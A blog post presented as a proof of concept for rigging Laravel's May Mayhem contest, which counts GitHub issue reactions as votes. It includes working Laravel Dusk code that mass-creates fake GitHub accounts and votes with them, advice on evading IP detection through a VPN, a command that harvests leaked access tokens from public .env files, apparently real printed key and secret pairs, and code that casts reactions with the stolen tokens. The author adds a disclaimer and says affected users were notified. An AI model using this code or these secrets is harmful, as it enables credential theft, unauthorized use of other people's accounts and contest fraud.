How to ‘hack’ and win the May Mayhem blog contest

I feel like programmers are often as good at breaking things as they are at fixing things. Part of the thought process of programming anything new is figuring out its flaws, weaknesses and possible exploitations. As a web developer, I often find myself applying the same thought process to everything I see and read about online. Including Laravel's May Mayhem blog contest.

To win the May Mayhem blog contest, one must acquire as many votes as possible. Votes are being kept as 👍 reactions on GitHub issues in the contest repository. Whilst I love the idea of a blog contest to stimulate the community, I feel like this way of voting and 1,500USD as prize money is an unfortunate combination. Personally, I've collected a bunch of GitHub accounts and friends with GitHub accounts over the years. However, the two added together is not enough to win this contest. This means we'll have to get our accounts elsewhere. Let's explore our options in a couple of proof of concepts.

Option 1: Manually creating GitHub accounts

Your first thought might be to manually create a bunch of fake GitHub accounts. You'll also need as many valid email addresses to verify your new accounts. Fortunately we can use one of Gmail's best features to quickly create valid aliases for any Gmail address. For example, both abc.xyz@gmail.com and abcxyz+anystring@gmail.com are valid aliases for abcxyz@gmail.com, but count as three different email addresses for Github. Nice.

Option 2: Programmatically creating Github accounts using Laravel Dusk

Even using Gmail's aliases manually creating 50+ accounts and voting feels like a bit of a chore. If only we could automate this process...

As it turns out, we can! There are many solutions to control or emulate a browser window. Today we'll be using Laravel Dusk, it's a Laravel contest after all. Dusk's primary use is to automate browser testing. It uses a headless Chrome window and JavaScript to click around your application and fill in forms. This way, it allows you to test front-end features of your application. However, instead of using Dusk to control our own application, we'll be using it to control Github.

After installing Dusk in a new Laravel project, we're left with some scaffolding and an example test. By default when running php artisan dusk, tests will run but you won't see what's going on in the browser window being controlled by Dusk as a headless Chrome window is being used by default. This means Chrome actually runs but won't render anything in a window. To make the browser window visible when running Dusk, we can remove the --headless flag from the tests/DuskTestCase.php file.

1. Creating the Github account

The code to create a Github account is actually super expressive thanks to Dusk. It looks something like this:

class CreateAccountTest extends DuskTestCase
{
    use WithFaker;

    /** @test */
    public function it_creates_a_github_account()
    {
        $name = $this->faker->firstName . str_random(5);
        $password = str_random().'a1';
        $email = "alex.vanderbist+{$random}@gmail.com";

        $this->browse(function (Browser $browser) use ($name, $email, $password) {
            $browser->visit('https://github.com/')
                    ->type('user[login]', $name)
                    ->type('user[email]', $email)
                    ->type('user[password]', $password)
                    ->click('form > button[type=submit].btn-primary')
                    ->waitForText('Continue')
                    ->click('.btn.js-choose-plan-submit');

            GithubAccount::create([
                'name' => $name,
                'email' => $email,
                'password' => $password,
            ]);
        });
    }
}

As you can see, we've used Faker to generate a random first name and str_random() to make sure we pick a username that doesn't yet exist. The password is being suffixed with a1 to make sure it actually contains at least one lowercase letter and one digit. Finally, we use the GithubAccount model to save our freshly created accounts in the github_accounts table.

Great, we've now got the power to create an army of useless GitHub accounts. Unfortunately, these accounts are unverified and may not yet be used to react to Github issues.

2. Verify Github account and vote on the issue

Let's start verifying the accounts we've created in the github_accounts table. We could probably use Dusk to log on to Gmail and automatically click on Github's verification URLs, however, 2FA might be a pain so I decided to manually copy each verification link to the github_accounts table.

With the verification URLs in the database, we can now use Dusk to visit the verification URL for each account. After that, we can log in and finally vote on the issue.

class VerifyAndVoteTest extends DuskTestCase
{
    public function it_verifies_the_account_and_votes_on_the_issues()
    {
        $account = GithubAccount::query()
            ->where('voted', false)
            ->whereNotNull('verification_url')
            ->first();

        $this->browse(function (Browser $browser) use ($account) {
            $browser->visit($account->verification_url)
                ->type('login', $account->name)
                ->type('password', $account->password)
                ->click('input[type=submit]')
                ->waitForText($account->name)
                ->visit('https://github.com/laravel/blog-contest-may-mayhem/issues/321')
                ->click('.reaction-summary-item:first-child');

            $account->update(['voted' => true]);
        });
    }
}

Free 👍 for everyone!

The downside of this approach is that Github will quickly pick up on the dozens of new accounts being created from your IP address. This can easily be worked around using any VPN/proxy service. For example, NordVPN has 4382 servers and as many IP addresses you can choose from!

Another downside is that all accounts will have a similar name, no profile picture and no activity at all. These are easy to detect and disqualify from the contest (ideal to get someone disqualified actually).

Option 3: Borrow some GitHub accounts

Ironically, the best place to find realistic looking and active GitHub accounts is GitHub itself. Its advanced search is pretty powerful and can search through any file in any repository publicly available. A simple query like GITHUB extension:env reveals a bunch of GitHub access tokens up for grabs. Cool!

Let's write a Laravel command that uses GitHub's own API to query the search endpoint and fetch our free API keys. We can pull in KnpLabs/php-github-api to communicate with Github's API.

class GithubSearchKeysCommand extends Command
{
    protected $signature = 'github:search-keys';
    protected $description = 'Search Github for access tokens';

    public function handle()
    {
        $client = new Client(new Builder(), 'text-match');

        $client->authenticate('our-own-token', null, Client::AUTH_HTTP_TOKEN);

        $results = $client->api('search')->code(['GITHUB extension:env']);

        collect($results['items'])
            ->each(function (array $file) {
                $this->line($file['text_matches'][0]['fragment']);
            });
    }
}

As you can see, we're using our own personal access token to use Github's API. By passing the text-match header to Github, the response will include the fragments of code containing our query in the results. Finally, we loop over all results and print the fragments to the console:

GITHUB_ID=[github-id]
GITHUB_SECRET=[github-secret]
GITHUB_TOKEN='your github token'
GITHUB_KEY='a58ffebd8807b0741d43'
GITHUB_SECRET='54cc84db9203964de1fba3c814d541f952a6225c'
GITHUB_TOKEN=XXXXXXXXXXXXXXXX
GITHUB_OWNER=cloudposse
GITHUB_REPO=github
GITHUB_KEY = 0877121e9fa96a3ab3b2
GITHUB_SECRET = 9c39451c86beda6c941aef5588fe4d77f7424512
GITHUB_CLIENT_ID=""
GITHUB_CLIENT_SECRET=""

As you can see, the output is quite messy. There are some empty config fields, placeholders but also some actual API keys! We can easily grab those with some regex magic and save them to a tokens table:

collect($results['items'])
    ->map(function (string $fragment) {
        $regex = '/\W([a-zA-Z0-9]{19,41})\W/m';

        preg_match_all($regex, $fragment, $matches);

        return $matches[1];
    })
    ->filter()
    ->each(function (array $keys) {
        $this->line(implode(', ', $keys));

        Token::createFromArray($keys);
    });

Finally, after making some modifications to deal with Github's pagination and rate limiting we can let this command run forever and just rake in API tokens!

Using API tokens to react to an issue

All that's left to do now is write another command to loop over our freshly acquired API keys and use the /reactions endpoint to add some 👍 to our blog post's issue:

class GithubReactCommand extends Command
{
    protected $signature = 'github:react {url}';
    protected $description = 'React a 👍 on an issue';

    public function handle()
    {
        Token::query()
            ->where('voted', false)
            ->get()
            ->each(function (Token $token) {
                $this->reactToIssue($this->argument('url'), $token);
            });
    }

    protected function reactToIssue(string $url, Token $token)
    {
        $client = new Client(new Builder(), 'application/vnd.github.squirrel-girl-preview');

        $client->authenticate($token->secret, null, Client::AUTH_HTTP_TOKEN);

        // url format: /repos/:owner/:repo/issues/:number/reactions
        $response = $client->getHttpClient()->post(
            $url,
            ['content-type' => 'application/json'],
            json_encode(['content' => '+1'])
        );

        $token->update(['voted' => true]);
    }
}

Only one gotcha: the /reactions endpoint is still experimental in Github's API and requires the application/vnd.github.squirrel-girl-preview header to work.

Disclaimer and ethics

So it looks like it would be quite easy to mess with the votes in the May Mayhem blog post contest using this way of voting. Even though this was just a proof of concept for me and I won't be using it to gain votes myself, I can't speak for other people. After all, we're talking about a considerable amount of money.

A possible solution might be to only allow a carefully selected jury to vote on the blogposts.

I've also contacted everyone that exposed their api tokens on Github if they had a public email address attached to their account. Fortunately, a lot of these tokens already seem to be made inoperative.